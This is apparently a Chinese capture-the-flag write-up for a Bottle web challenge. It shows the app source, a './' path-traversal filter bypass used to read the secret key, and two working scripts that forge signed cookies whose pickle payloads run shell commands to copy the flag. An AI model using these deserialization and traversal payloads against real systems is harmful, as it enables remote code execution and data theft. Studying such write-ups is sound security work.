SIGNIN

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

绕过

想要读取密钥就要绕过if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:

我们可以想到利用**./**进行绕过。

1745917698128

pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"

发现在get_cookie中有反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default

简单来说就是签名正确就能进行pickle的反序列化。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib
import hmac
import base64


def gen_cookie(payload):
b64pld = base64.b64encode(payload)
signature = base64.b64encode(
hmac.new(
b"Hell0_H@cker_Y0u_A3r_Sm@r7", b64pld, hashlib.sha256
).digest()
)
return b'"!' + signature + b"?" + b64pld + b'"'


data = b'''(cos
system
S'cat /flag_* > flag'
o.'''
print(gen_cookie(data).decode())

替换session后再用/download路由读取flag。

3c872f66-9a61-40d3-aa0c-bebecb1676e4

还有一个更简单的利用set_cookie函数的脚本

1
2
3
4
5
6
7
8
9
10
from bottle import Bottle, request, response,run, route

class cmd():
def __reduce__(self):
return (exec,("__import__('os').popen('cat /f*>/app/app/app.py').read()",))

c = cmd()
#session = {"name":c}
response.set_cookie("name",c,secret="Hell0_H@cker_Y0u_A3r_Sm@r7")
print(response._cookies)

同上,然后访问app.py

就能得到flag